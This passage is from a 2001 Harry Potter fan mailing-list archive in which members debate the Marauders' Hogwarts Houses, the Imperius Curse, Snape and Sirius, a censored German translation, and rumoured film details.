Also, I am wondering whether Sirius and Snape have really buried the 
hatchet sufficiently to work against V in OoP.  It is hard to believe 
that Snape, for instance, would risk his life to save Sirius.  I am a 
little worried that Snape might not, although I think Sirius would 
step up and save Snape if he had to.  If Snape lets something happen 
to Sirius . . . well, that will be the last straw for me.

While I'm on the subject of OoP, I was wondering whether JKR will 
keep the same viewpoint (seeing everything through Harry's eyes) in 
OoP.  To the extent interesting things are happening in the V camp, 
we won't know about them unless Harry witnesses them, dreams about 
them, or hears Snape tell about them.  This method of exposition 
might get a bit tedious.  Does anyone think JKR might change her 
point of view?

Cindy 
----------
"Very slowly -- but still glaring at each other as though each wished 
the other nothing but ill -- Sirius and Snape moved toward each other 
and shook hands.  They let go extremely quickly."




From aiz24 at hotmail.com  Thu Sep  6 13:40:38 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 06 Sep 2001 13:40:38 -0000
Subject: Marauders' Houses - & their Map
In-Reply-To: <DAV52BDUfdfdhNzW3l100002b1c@hotmail.com>
Message-ID: <9n7ucm+ti0r@eGroups.com>

No: HPFGUIDX 25654

Martin Smith wrote:

<exposition on how MWPP could each have been in a different house>

Kudos on the unorthodox House assignments.  Peter in Ravenclaw and 
Remus in Hufflepuff are refreshing.  

Your post put another idea in my head:  the locations of the House 
common rooms are unknown to members of other Houses.  Does the Map 
reveal them?  Harry clearly hasn't bothered to look, if so--and why 
should he, since he has had no particular reason to find out where 
Hufflepuff and Ravenclaw are, unless he wants to waylay Cho on her way 
to breakfast.  Anyway, we may find out in future books, if Harry gets 
the map back.  But if we ever learned that this information is not on 
the map, that would be a strong suggestion that the mapmakers didn't 
know it.  Unless, of course, they made sure that one of the map's many 
propertiesis that it reveals each House common room only to members of 
that House.

>Yes, you could use brains, hard work and bravery to avoid twelve 
>years worth of mindsucking Dems

There is an almost irresistible political joke to be made here, but I 
am a Democrat so I'm going to refrain.

;-)
Amy Z

----------------------------------------------------------------------
   "What is this thing?" said Moody, drawing the Marauder's Map out 
 of his pocket and unfolding it.
   "Map of Hogwarts," said Harry. . . .
   "Merlin's beard," Moody whispered, staring at the map, his magical 
 eye going haywire.  "This . . . this is some map, Potter!" 
   "Yeah, it's . . . quite useful," Harry said. 
                                       -HP and the Goblet of Fire
----------------------------------------------------------------------





From klhurt at yahoo.com  Thu Sep  6 14:04:41 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Thu, 6 Sep 2001 07:04:41 -0700 (PDT)
Subject: [HPforGrownups] Marauders' Houses
In-Reply-To: <9n7ucm+ti0r@eGroups.com>
Message-ID: <20010906140441.81523.qmail@web14204.mail.yahoo.com>

No: HPFGUIDX 25655

>Martin Smith wrote:

<exposition on how MWPP could each have been in a different house>

>Then Amy Z <aiz24 at hotmail.com> wrote:

>Kudos on the unorthodox House
>assignments.  Peter in Ravenclaw and
>Remus in Hufflepuff are refreshing.

I have to disagree with Peter in Ravenclaw.  No book handy (note to
self:  force sister to return books!) but in the pub scene in PoA,
didn't McGonagall say that Peter wasn't in the same league academically
as the others?

If they were in different Houses, I'm more inclined to see them as

JP = Gryffindor (brave stag)
PP = Slytherin (ambitious rat)
SB = Hufflepuff (loyal dog)
RL = Ravenclaw (only for sure prof.)

but could agree with switching Lupin & Black.

I also think that Martin Smith's idea that interhouse friendships were
more common before the Voldemort Years makes great sense.  Hagrid told
Harry about not knowing who to trust and it follows that it would be
much easier to trust people you saw all day long than the ones you
didn't.  Perhaps before the VY there weren't even passwords?

Kelly the Yarn Junkie

=====
Pensieve
A New Harry Potter Discussion Group
for Adults
Low Traffic - High Quality
http://groups.yahoo.com/group/pensieve

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From blpurdom at yahoo.com  Thu Sep  6 14:34:04 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 06 Sep 2001 14:34:04 -0000
Subject: Arithmancy/OotP/Evil Draco
In-Reply-To: <20010906041749.11063.cpmta@c012.sfo.cp.net>
Message-ID: <9n81gs+p2fl@eGroups.com>

No: HPFGUIDX 25656

--- In HPforGrownups at y..., Vicky DeGroote <degroote at a...> wrote:
> On Thu, 30 August 2001, blpurdom at y... wrote:
> > Whether Draco will eventually be rehabilitated as Snape has been 
> > remains to be seen.  And look at Snape; for someone on the "good" 
> > side, he can be VERY nasty to the son of the man who saved his 
> > life.  In other words, even if he becomes a great deal like 
> > Snape, he won't be much more congenial than he is now. :)
> > 
> Maybe Draco will be placed in a real life or death situation in 
which he has to decide whether to save HARRY's life.  Maybe in the 
heat of the situation he'll find he a bit of a conscience (can't 
spell, sorry) and actually save Harry and the warm fuzzy feeling 
inside will soften him a bit!  Alright, shall we all puke together 
now?  1,2,3...

Shouldn't we be SPEWing instead of puking? LOL!  I could see Malfoy 
ACCIDENTALLY saving Harry's life, and kicking himself for doing it 
ever after...It would both continue Harry's story and provide a 
wonderful bit of comic relief.  Rowling has said the stories will get 
darker, but I doubt that she'll leave out humor altogether.

--Barb

OT Postscript...An earlier post said the previous longest kid films 
were the remake of the Parent Trap (127 mins) and Mary Poppins (139 
mins) so the Harry Potter movie, at 142 mins, would be the new record 
holder.  Someone neglected to note that Chitty Chitty Bang Bang is 
144 mins, so no records are going to be broken.  Sorry to be the 
bearer of bad news...

--BLP






From linman6868 at aol.com  Thu Sep  6 14:36:57 2001
From: linman6868 at aol.com (L. Inman)
Date: Thu, 06 Sep 2001 14:36:57 -0000
Subject: CRAB - LOONy correction - Workings of Imperius
In-Reply-To: <9n7ebl+93hg@eGroups.com>
Message-ID: <9n81m9+q3rf@eGroups.com>

No: HPFGUIDX 25657

Amy Z wrote:

> Lisa, sign me up for C.R.A.B.  I totally agree that Ron's supposed 
> susceptibility to Imperius has been way overplayed . . . not that 
it 
> might not be a red flag.  But I am going to nitpick just a bit, 
> because C.R.A.B. isn't the only organization I belong to <eg>.  Ron 
> isn't limping because he's bruised; he is skipping on every other 
step 
> because he hasn't shaken off Moody's command.  I think you may be 
> thinking of Harry's bruised knees.

I straightened out my memory later, and thought about posting, but 
figured an alert member of Another Organization would provide the 
checks and balances.  :)  This aspect of the scene has always puzzled 
me.  If the Imperius Curse operates by being laid down and relifted, 
then how could Ron still be suffering the effects of it?  The 
Imperius isn't like Harry's case of Twitchy Ears -- that is, I've 
noticed that people recover from hexes either through time or a 
counter-hex -- but victims of Imperius recover by throwing it off by 
will or having the curse lifted by the aggressor.

D'you think it's just a matter of the lingering power of suggestion?  
People who've written fanfic with Imperius in it -- you've probably 
thought of these things; help me here.

My defense has been disarmed in one aspect, but it's still true that 
nobody *except* Harry succeeded in throwing off Imperius, and that 
Ron had more difficulty in throwing off the curse than Harry -- it'd 
have been a bit blatant if JKR had said Ron was a total goober at 
resisting Imperius, had the lowest mark on that test in the class, 
and couldn't break it to save his life.  Which reminds me how much 
Dumbledore must be suspecting at this time, if he's having 14-year-
olds taught what Imperius feels like -- I mean, kids of this age are 
worried about peer pressure, which has nowhere near the strength of 
Imperius for the power of suggestion.  (And Barty Crouch, 
a "powerfully magical" wizard, can't even begin to fight the curse 
for months.)

I can see Ron getting hit with Imperius in a future plot, but I 
wouldn't call it a Testimony to His Inherent Weakness of Character; 
if it was so easy to resist by someone with a decent store of 
willpower, it wouldn't be so ruddy Unforgivable.

Cool, I have now two CRABbers with me on the subscription list.  
Badges will be completed and sent shortly.  I am accepting 
nominations for designs.  :~)

Lisa I., who created the office of "Coder" in her fifth-grade secret 
club, the 501 club.  It wasn't that secret.





From mellienel2 at yahoo.com  Thu Sep  6 14:47:48 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 06 Sep 2001 14:47:48 -0000
Subject: TR -  DADA - Lost character - Trelawney - Bagman - CRAB - The in crowd
In-Reply-To: <9n7ebl+93hg@eGroups.com>
Message-ID: <9n82ak+7plv@eGroups.com>

No: HPFGUIDX 25658


> > JKR said that she killed off the Weasley cousin and then developed
>  the Rita Skeeter character more.  She said that she needed someone 
to
>  act as a conduit for information to leave Hogwarts.  Why?  This is
>  how parents find out that Hagrid is part giant.  Molly finds out 
that
>  Hermione is breaking Harry's heart (suppossedly) and Molly finds 
out
>  that Harry is competing.  Why were these things important enough 
that
>  they had to be conveyed or am I missing something?
> 
>snip<
> I'm betting it's Harry's supposed insanity/untrustworthiness.  
We've 
> already seen Fudge, who was quite a Harry fan up to the end of PoA, 
be 
> swayed by Rita's final article.  What might happen if lots of 
people 
> in the wizarding world start thinking Harry Potter has a screw 
loose 
> or is evil (a Parseltongue, you know), just when people need to 
unite 
> to fight V?

I really, really, really agree here. I think she's setting us up for 
a lot of things. Look how fast the school turns against Harry *any* 
time his trustworthiness is in doubt -- the losing points in P/SS, 
the Parselmouth business, etc. We weren't given much of a chance to 
react to taht 'disturbed and dangerous' article because so much 
happened right after it. But I'll bet any money in the days between 
the third task and Dumbledore's speech, a whole bunch of Slytherins 
and maybe even some Ravenclaws and Hufflepuffs (though less of those, 
I imagine), have decided that Harry is indeed a dark wizard, or at 
least to be afraid of him. Some Gryffs, probably, too. Everyone's 
entering dark times -- and dark times are marked with bouts of 
needless panic, and blame-throwing. Combine all this with the 
Ministry's official stance that Voldy has not returned, and Harry, 
Dumbledore, all of the, are in for an uphill fight. This is why I 
think Fudge will last a while -- Voldy will want him there to keep 
telling people he's not really risen, and give him time to 'get a 
good hold.'


> > The Grim, tea leaves -- True
> > The Grim, crystal ball -- True
> 
> I'll give her a 50% on this one.  Harry hasn't been seeing a Grim.  
> Luke is right, we don't know the rules of tea leaves, but what we 
do 
> know about them indicates that they are symbolic.  Shouldn't a true 
> tea leaves reading turn up symbols of danger (because of Peter--and 
> the Grim doesn't count, because it is specifically a death omen) 
and 
> protection (because of Sirius)?

Or the Grim could just have been Sirius all along; it could show that 
there's a great black dog in Harry's life. :-) Except in the tea 
leaves, it WAS Sirius.

Come to think of it -- if Sirius looks so much like a Grim, does this 
make him a marked man for JKR?


> 
> One stereotype left over from high school that I have to surrender 
in 
> the face of HP is Jocks are Scary Bad People.  Harry, sweet Harry, 
is 
> undeniably a jock.


So funny, I never thought of harry as a jock. But --  yeah, he is 
one, and by all rights, and by high school standards, I should hate 
him! :-) BUt he's a skinny jock, so that's a little different. He 
doesn't go around showing girls his bludger, er, muscles.




From muggle-reader at angelfire.com  Thu Sep  6 14:35:58 2001
From: muggle-reader at angelfire.com (Demelza)
Date: Thu, 06 Sep 2001 14:35:58 -0000
Subject: Snape's general behavior-Cool Cats
In-Reply-To: <9n6ac5+hdhv@eGroups.com>
Message-ID: <9n81ke+pjj2@eGroups.com>

No: HPFGUIDX 25659

--- In HPforGrownups at y..., lady.nymphaea at f... wrote:

> > Dumbledore in SS/PS tells Harry that Snape and James had a 
> > relationship very much like Harry's and Draco's: antagonistic. The 
> > origins of that antagonism haven't been completely revealed. Maybe 
> it 
> > was a combination of things. Maybe Snape referred to Lily and the 
> > other Muggle-borns as  "mud-bloods". There has been bad blood 
> between 
> > the Snape and Potter families for generations.
> 
> That last statement isn't proven. It seems like it's more than 
> Quidditch rivalry that caused the Potter feud, as both Snape and 
> Black seem to lead Harry to believe was the cause, but this looks 
> like it's another one of these Items to be Revealed Later.
> 

Mea culpa. That sentence should read "Maybe there had been bad blood 
between the Snape and Potter fammilies for generations". Bad 
proofreading on my part.

As you wrote, I too think the reason for the feud is more complex than 
simple envy. The reason is probably multifactoral with the other 
factors being of a more 'mature' nature and we'll find it out as the 
series progress. 

Or it could simply be that the Snape Slytherin Clique and the Potter 
Clique just disliked each other for the inane reasons groups of 
adolescents  don't like each other. In my high school, there was a 
clique of girls who made fun of anyone who didn't dress in a certain 
way. I don't know the UK equivalent of the American High school clique 
system, but kids were usually divided up into jocks, freaks, geeks, 
preps and the fringe (the very few people who didn't fit any of these 
cliques and was "cool" with all of them).

Which leads me to Martin's post. The Marauder's could very well have 
been representative of the houses, but they could also have been 
divided up into the American high school clique system too. Jocks are 
athletes. Freaks are the pot-heads or the guys who ran around wearing 
Van Halen or Metallica t-shirts (I suppose Goths can be freaks too) 
or the quiet introverted types who weren't bright enough to be geeks. 
Geeks are the bookish, smart kids. Preps are the rah-rah, school 
spirit kids who embody the stereotypical "high school student" (think 
Annette Funicello and Frankie Avalon Beach movies). Of course, there 
is over-lap among the categories.

James was a jock. He excelled in Quidditch (something substantiated by 
 several people). Sirius strikes me as a geek (the smart kid). Lupin 
as a prep, mainly because I think he would try to hide his werewolf 
problem by 'blending in'. Peter, I envision as a freak: the quiet, 
introverted type. 






From frantyck at yahoo.com  Thu Sep  6 15:27:37 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Thu, 06 Sep 2001 15:27:37 -0000
Subject: The howl of misery
Message-ID: <9n84l9+fp35@eGroups.com>

No: HPFGUIDX 25660

Another tangent:

Near the end of GoF (Ch.36), Harry wakes up in the hospital wing a 
few hours after taking the sleeping draft to find people he knows 
standing around him. Dumbledore decides to raise the "old crowd" and 
leaves Harry with Hermione and the Weasleys. In safety, for the 
moment, Harry's experiences crowd in upon him, hours in an instant, 
and he must find a way to let himself release all the pent-up misery. 
Mrs Weasley sits down on Harry's bed and hugs Harry tight.

He never howls. Harry fights to hold it in, wishes Ron would turn 
away. Mrs Weasley and Harry break apart when Hermione catches Beetle-
Skeeter.

If there was a moving moment, that was it. Something in the reader is 
also fighting for release, some waterfall that ends the scary 
headlong rush of the last few chapters, indeed, of the entire book. 
Mrs Weasley's warm arms and tight embrace is forgiveness, safety, 
innocence, childhood, refuge, an ending, the brisk wet breeze that 
seeks to make up with the world after a storm... Harry cannot give 
himself to it. There's something almost guilty in the breaking apart.

Many questions here, most of which I won't ask: why doesn't Rowling 
allow the catharsis that most other authors would give both reader 
and protagonist? This sounds so British, schoolboys as little men 
with their own code of careless resolve masking entirely other 
emotions (read accounts of dealing with boarding-school life).

If there is a moment of the turning of innocence, this is it. Harry, 
and others, must swallow their anger and grief, to make of it a 
stronger will to defeat the enemy. This is when Harry becomes a man. 
There is no balance, no completion -- not yet.

That denial still bothers me awfully. It makes this book something 
other than a child's book. If there is one thing about children's 
books, it is that they do have balance, an ending, things work out 
and all is won, or all is forgiven. Not here.

What do you think?




From monika at darwin.inka.de  Thu Sep  6 16:05:36 2001
From: monika at darwin.inka.de (Monika Huebner)
Date: Thu, 6 Sep 2001 18:05:36 +0200
Subject: [HPforGrownups] Single best scene - Snape - Sirius - Marauders
In-Reply-To: <9n64p3+oliu@eGroups.com>
Message-ID: <MABBIOAJAKBIIEFEFANKMEOMCJAA.monika@darwin.inka.de>

No: HPFGUIDX 25661


> -----Original Message-----
> From: justanopinion2001 at hotmail.com

> I was wondering which single scene out of the Harry Potter series you 
> think is the best?  In other words, if you were trying to convince 
> someone (who has read the books) that the series is really something 
> special, which one scene would you direct them to?
> 
> The scene I found most intense and most moving is the Shrieking Shack 
> scene in PoA

I would agree with you here, the Shrieking Shack scene is my favorite
in the whole series, too. I would, however, only recommend it to
someone who is able to read it in English, because the German translation
is not only bad (as I thought until two weeks ago), but it has been
altered and somehow "censored". I can't think of another word.
There are whole parts missing of chapter 18, and some things have IMO 
been deliberately altered. I have compared the German translation to the
original (which I hadn't really done before) and I found that 
two scenes are completely missing from chapter 18. Interestingly the
missing parts are the scenes where Sirius loses it at the beginning
of the chapter and Lupin questioning himself about whether he
should have told Dumbledore about Sirius at the end. It looks as though the
German publisher thought it wasn't appropriate for young readers
to know that adults (in this case a soon-to-be-good-uncle and a
teacher) could have flaws. Snape doesn't look deranged in the
next chapter, either. I'm more and more reluctant to recommend
the books to anyone who can only read the translation.

The next best scene for me is Harry and Voldemort dueling on the
graveyard, this one always makes my hair stand up. It's even more
intense if I listen to it when read by Stephen Fry.

> -----Original Message-----
> From: *Lilith Morgana* [mailto:lilith_snape at hotmail.com]
> Subject: [HPforGrownups] Re: Snape -- Why so many fans?

> As for characterisation, the answer is very simple: Severus Snape is 
> the only character with enough depth to become obsessed about. In him 
> we have a mean, sarcastic, gloomy bastard who enjoys making fun of 
> his students in various offending ways. 

So, you have to be a mean, sarcastic, gloomy bastard to qualify for
an interesting character? Interesting. I certainly think Snape is
interesting because of all the back story we still don't know about
and which I am dying to learn (like most people here), but I
clearly object that he is the only character with enough depth to
become obsessed about. And I won't repeat what Allyse has
already said, but I can't believe *anyone* can find it amusing
how he treats his students.

> Sirius and Remus are both haunted by certain things- being a refugee 
> from Azkaban and lycantrophy aren't pieces of cakes- but these aren't 
> anything that deepens them since it's caused by external 
> circumstances.

So, traumatic experiences like this aren't likely to deepen a character?
I object here (of course, did anyone think I wouldn't? <g>). I can only
repeat that the motorbike isn't what I find attractive in Sirius, I
generally don't go for biker guys in leather, but what makes him
such an interesting character are clearly his problems. 

> Severus, on the other hand (awaits *le sigh* from 
> everyone reading this post) is haunted by his own actions, and the 
> guilt he feels is what makes him take a big step away from the other 
> one-dimensional characters. 

How about the guilt that Sirius feels, don't you think he is also
haunted by his own actions (switching Secret-Keepers with Peter,
leading to the Potters' death)? You are right that Snape is a survivor
because he found the strength to turn away from Voldemort, but
Sirius and Remus are survivors, too, each one of them in his own
way. Remus has at least as much self-control as Snape, I'd say
even more, since good old Sevvie surely would have lost it in
the Shrieking Shack if H/R/H wouldn't have knocked him out.
And Remus is haunted by what he *could* do each month to
people, I surely wouldn't want to be in his place. It doesn't matter
if he is responsible for what he is or not, because he can't escape
it.

> -----Original Message-----
> From: Martin Smith [mailto:mediaphen at hotmail.com]

> I wonder if the Marauders were in fact representatives of the four houses?
> It would most certainly help their mischief-making if they had 
> knowledge of all areas of the castle, even every single house's 
> common room, and that would also help them making the MM. Having an 
> ally in each house would make them stronger as a group.

Hm, very interesting thought, but I still can't believe that they 
weren't all Gryffindors. We haven't seen any inter-house friendships
so far, everyone seems to find his/her friends in the same house,
and I don't see why this should have been different in earlier
generations. As for putting Sirius in Hufflepuff, I have to object
here, your honor. 8-) Really, he's not the type. We know since
Cedric that there are intelligent Hufflepuffs, but Sirius always struck
me as someone who didn't have to work hard to get good grades.
A notorious mischief maker wouldn't have much time to spend
with his books. And loyalty isn't his only predominant quality.

> Furthermore, to successfully survive _and_ escape from Azkaban, you 
> certainly need a lot of ambition and desire to really want it. Yes, 
> you could use brains, hard work and bravery to avoid twelve years 
> worth of mindsucking Dems, but what you really need is strong 
> will-power, which, IMO is deeply linked to ambition.

I don't think this is how he survived Azkaban, although I know very well
that a lot of people do think so. IMO this was not what got him going there.
What if he was so deep in depression that the dementors didn't have
anything to feed on? The question to ask is not why he survived 12 years 
and finally escaped from Azkaban, but what held him back for so long there.
If he really was as ambitious as you say, he would have left the
scene as soon as it would have been possible for him to pass through
the bars, but the fact is, he didn't. Because Azkaban is such a nice
place? Because it takes you twelve years in such a horrible place to
lose so much weight? I doubt it. It was guilt, self-loathing and depression 
that held him back there, and he needed a really strong trigger to 
pull himself together and flee. This has nothing to do with 
ambition in my opinion. See, it's kind of like the question why
the dinosaurs died out at the end of the Cretaceous, everyone has
the "obvious" answer to this: they were maladapted and nature
selected them to die out. But the real question to ask is not why
they died out but why they survived for about 180 million (!) years.
And this leads to the conclusion that things aren't as simple as
they seem to be at first sight and that the explanation is much
more complex than most people think. With Sirius, everyone seems to ask
the wrong question, too. Sorry, but I just couldn't resist. :)

Monika
who admits that she is completely gaga about Sirius and
can't find Snape in the least amusing.

------
Book and movie reviews in English and German:
http://sites.inka.de/darwin/indexalt.html 





From oppen at cnsinternet.com  Thu Sep  6 16:14:55 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Thu, 6 Sep 2001 11:14:55 -0500
Subject: Azkaban and wizard prisons
Message-ID: <00cc01c136ef$11914020$91c71bce@hppav>

No: HPFGUIDX 25662

You know, it occurs to me that we've been so focussed on the Death Eaters
and their various and sundry nefarious deeds (WHAT?  You mean there might be
DEs who are unregistered Animagi?  You mean they'd...BREAK the LAW?  Me
golden idol is tarnished!) that we've forgotten that there might be a _lot_
of ways to get to Azkaban...and, judging from the way wizard "courts"
operate, *pause for giggling at calling those kangaroo courts
'courts'---there, that's better; I'm a lawyer's son and take trials
_seriously_* even being innocent's not much of a defense, if you're
unpopular enough.  OTOH, somebody who's popular and liked *cough cough OJ
cough Bagman cough* might be able to literally get away with murder.

(Come to it, I wonder if Ludo Bagman's "trial" was JKR's comment on the OJ
Simpson whoop-tee-doo?)

But I can think of a _lot_ of ways to be an unethical, nasty, corrupt
slimeball without ever joining up with Voldemort, if I were a wizard.  An
Animagus, just for starters, would be a very-hard-to-detect spy, either in
the corporate world or in the military, and could also possibly be a
nearly-unbeatable burglar.  Even if an Animagus couldn't carry stuff out,
one whose other form was, forex, an insect or rat could get into places no
human could, and once inside, lower the defenses so his cohorts could loot
the place to the bare walls.  If somebody walks in...hey, Memory Charm time!

Hit-wizard for a Muggle crime-boss would be another possibility, and if the
wizard was afraid of using the Killing Curse, good old Muggle methods,
combined with an Invisibility Cloak or some well-placed Memory Charms, would
work just fine.  Not to mention the wonderful possibilities in the fraud
field.  Any halfway-competent wizard could scam up a pretty good living off
the Muggles by just pretending to be a seer or fortune-teller.

For that matter, who in the world needs Avada Kedavra to kill?  Conjure up
some ropes, tie the victim up, levitate him or her up about fifty or sixty
feet, drop hard onto nearest hard surface or into deep water, and once dead,
dissolve the ropes, and the Muggle please-men'll have a jolly time figuring
out that murder was even done!

I bet that the Aurors were very, very busy keeping an eye on this sort of
shenanigans, even before Voldemort came around the mountain.




From frantyck at yahoo.com  Thu Sep  6 16:23:32 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Thu, 06 Sep 2001 16:23:32 -0000
Subject: The howl of misery
In-Reply-To: <9n84l9+fp35@eGroups.com>
Message-ID: <9n87u4+smjt@eGroups.com>

No: HPFGUIDX 25663

Whoops, others have already noted this in print:

http://www.cesnur.org/recens/potter_047.htm

for example.

Sorry!




From maryblue67 at yahoo.com  Thu Sep  6 16:43:49 2001
From: maryblue67 at yahoo.com (Maria)
Date: Thu, 6 Sep 2001 09:43:49 -0700 (PDT)
Subject: Animagus - Hugh Grant as Lockhart
In-Reply-To: <999763997.2674.45758.l10@yahoogroups.com>
Message-ID: <20010906164349.67996.qmail@web11106.mail.yahoo.com>

No: HPFGUIDX 25664

From: wallaceelizabeth at msn.com
Subject: H/R&H as future animagus

If you haven't figured it out, I'm a newbie.  I've tried
searching, 
without success, the postings & VFAQ to see what has been
discussed 
on the trio becoming animagus, and what they would
transfigure into.  

I dont know where this has been discussed, since I havent
been here long enough, but I think I recall reading one of
Rowlings chats, someone asking if the trio will become
animagi, and if so, what animals would they take to which
she answered that they will not become animagi. (Sorry for
not remembering where the chat is I havent been surfing
for HP stuff too long yet)


From: Vicky 

Speaking of Lockhart (below), a few weeks ago I was
checking a website 
put together by 3 teen girls in GB that had several behind
the scenes 
photos from the movie.  Among these pics, just thrown in
there with no 
explanation was a b/w photo of Hugh Grant!  I know he's not
in 
Sorcerer's Stone- has anyone, heard or do you suppose he's
Lockhart in Chamber 
of Secrets???!!!  Wouldn't THAT be HOOT?!!  He'd be
perfect.  Just slime 
enough with that huge, toothy grin


I know I have no right to ask this, since I dont provide
links myself, but can you by any chance tell us where these
pictures are? I would love to see them!

Maria


=====
Maryblue
----------------------------------------------------------
"Gravitation cannot be held responsible for people falling
in love" - Eistein

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
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From caliburncy at yahoo.com  Thu Sep  6 17:08:51 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Thu, 06 Sep 2001 17:08:51 -0000
Subject: MOVIE: Running Time (was Re: Running time of movie final cut announced)
In-Reply-To: <9n6pku+6r5m@eGroups.com>
Message-ID: <9n8aj3+imck@eGroups.com>

No: HPFGUIDX 25665

--- In HPforGrownups at y..., prefectmarcus at y... wrote:
> This just in.  It would appear that WB is not going to mess around 
> with their potential gold-mine.  All the rumors have been that the 
> cut is long.  Apparently the time has been set at 142 minutes, 
> nearly two and a half hours!

I too saw this news when perusing The Leaky Cauldron and just figured 
I'd add a quick cautionary note.  This is still only a rumor, so don't 
get your hopes too high.  An earlier rumor on Leaky Cauldron (based on 
information from the below link (apparently the largest British cinema 
chain) gave the running time as 107 minutes.

http://www.odeon.co.uk/pls/Odeon/Odeon_general.film_x?FILM=harry_potte
r_and_the_philsophers_sto

One may be right, BOTH may be wrong.  Just take it as an indication 
that we still don't know.  AFAIK, the final cut has not yet been made, 
so in actuality both are only goals anyway.

And on a personal note, I refuse to make any judgment calls on the 
movie's quality based on its running time.  I would hate to see the 
studio impose some superficial time limit on it just because they 
don't think kids have the attention span.  But I can also tell you 
that as a general rule for movies, some scenes deserve to be 
shortened.  In the case of HP they may not be cutting scenes so much 
as tightening them up.  A longer or shorter running time does not 
directly correlate with how accurate the adaptation is.

Okay, I'm done now.

-Luke




From crunge at erols.com  Thu Sep  6 17:20:27 2001
From: crunge at erols.com (Christen E Runge)
Date: Thu, 06 Sep 2001 13:20:27 -0400
Subject: [HPforGrownups] Animagus - Hugh Grant as Lockhart
In-Reply-To: <20010906164349.67996.qmail@web11106.mail.yahoo.com>
References: <999763997.2674.45758.l10@yahoogroups.com>
Message-ID: <5.0.2.1.0.20010906131644.009ed590@pop.erols.com>

No: HPFGUIDX 25666



>I know I have no right to ask this, since I don't provide
>links myself, but can you by any chance tell us where these
>pictures are? I would love to see them!


Try this:

http://www.hpgalleries.com/moviegallery11.htm

--Bawo Samdi





From cynthiaanncoe at home.com  Thu Sep  6 17:50:49 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 06 Sep 2001 17:50:49 -0000
Subject: Marauders' Houses 
In-Reply-To: <9n7ucm+ti0r@eGroups.com>
Message-ID: <9n8d1p+gaap@eGroups.com>

No: HPFGUIDX 25667

> Martin Smith wrote:
> 
> <exposition on how MWPP could each have been in a different house>
> 
Amy wrote:

> Kudos on the unorthodox House assignments.  Peter in Ravenclaw and 
> Remus in Hufflepuff are refreshing.  
> 


You mean we don't have to be bound by the pefectly reasonable 
assumption that all four Marauders were Gryffindors?  This is 
exciting.  :)

I'm working on a different theory, though.  In Harry's generation, 
there isn't much evidence of socializing among the four houses, and 
there's no evidence that things were different in James and Lily's 
day.  They dine separately, they have separate common rooms, and the 
close friendships (other than rather haphazard Yule Ball dates) seem 
to be among those in the same house.  H, H, R as well as Draco, C&G.  

That's why I think it less likely that four individuals from 
different houses would forge a close friendship like M,P,P and W.  
The logistics alone would be dicey.  There also doesn't appear to be 
a very good communication system among the houses -- you don't just 
pick up the phone and ring up Remus in the next tower.  I suppose you 
have to find people in the halls or in class, or send an owl by 
marching to the owlry, writing a note, sending the owl, and awaiting 
a response.  Very cumbersome.

So how about a 2x2 pairing?  Two are in one house, and two are in 
another.  Communication gets easier, that's for sure.  We know Potter 
is Gryffindor, and since he is best friends with Black (and Black 
certainly has the personality traits of a Gryffindor), Black is in 
Gryffindor too.

I would guess that Lupin and Wormtail are in Slytherin.  The sorting 
hat might be as biased about werewolves as everyone else, and wrongly 
believe Lupin is "cunning," particularly if it misinterprets his 
thoughts that he his hiding something.  Peter, of course, could 
easily be a Slytherin as he is willing to use rather unfortunate and 
unconventional means to achieve his ambitions.  Lupin and Peter 
becoming friends actually makes some sense.  Peter isn't very 
talented or popular, perhaps, and Lupin probably wasn't too great at 
making friends given his fear about revealing his condition, and 
would be happy to be friends with anyone, including Peter. A very 
natural pairing.  

I like the idea of Lupin in Slytherin for another reason.  Snape 
knows the Marauders are sneaking around, and he is nosy about it.  It 
seems more likely that he would get nosy about what is amiss with 
Lupin if he saw Lupin being taken away once a month.  "Snape's 
Grudge" in which Snape summons Lupin also makes sense if Snape and 
Lupin know each other from being in the same house all those years.

Cindy





From joy_the_lemur at yahoo.com  Thu Sep  6 17:54:11 2001
From: joy_the_lemur at yahoo.com (joy_the_lemur at yahoo.com)
Date: Thu, 06 Sep 2001 17:54:11 -0000
Subject: Skeeters and Beatles
In-Reply-To: <DAV52BDUfdfdhNzW3l100002b1c@hotmail.com>
Message-ID: <9n8d83+6rvo@eGroups.com>

No: HPFGUIDX 25668

--- In HPforGrownups at y..., "Martin Smith" <mediaphen at h...> 
wrote:

> 
> As for Rita Skeeter's Animagus form being a beetle and not a 
mosquito (I tried to post this a few days ago, but it seems to have 
got lost, so here it is again):
> 
> <silly explanation, coming through...>
> 
> The most famous Rita is (or at least the first Rita I can come to 
think of, except our own Catlady, of course) the meter maid in the 
song "Lovely Rita" by:
> 
> The Beatles!
> 
> There you go, that must be it! I rest my case. At least until 
someone finds an almost as obvious as abovementioned 
connection between Rita Skeeter (gossip reporter and verbal 
paparazzi) and constant cartoon private Beetle Bailey. (i told you 
twas silly)
> 

Wow, that's a great point about Rita and the Beatles!  :D

I had been thinking more along the lines of just a general state 
of Bug-ness.  "Bugs" are also known to be a sort of slang term 
for concealed microphones.  Rita's a bit like the fly on the wall, 
isn't she?

Joy the Lemur




From cynthiaanncoe at home.com  Thu Sep  6 17:57:34 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 06 Sep 2001 17:57:34 -0000
Subject: MOVIE: Running Time (was Re: Running time of movie final cut announced)
In-Reply-To: <9n8aj3+imck@eGroups.com>
Message-ID: <9n8dee+npj1@eGroups.com>

No: HPFGUIDX 25669

Luke wrote:

> And on a personal note, I refuse to make any judgment calls on the 
> movie's quality based on its running time.  I would hate to see the 
> studio impose some superficial time limit on it just because they 
> don't think kids have the attention span.  But I can also tell you 
> that as a general rule for movies, some scenes deserve to be 
> shortened.  In the case of HP they may not be cutting scenes so 
much 
> as tightening them up.  A longer or shorter running time does not 
> directly correlate with how accurate the adaptation is.
> 

Yes, but what scenes could you cut from PS/SS?  Maybe you could 
skip "Norbert the Norwegian RidgeBack", and maybe you could shorten 
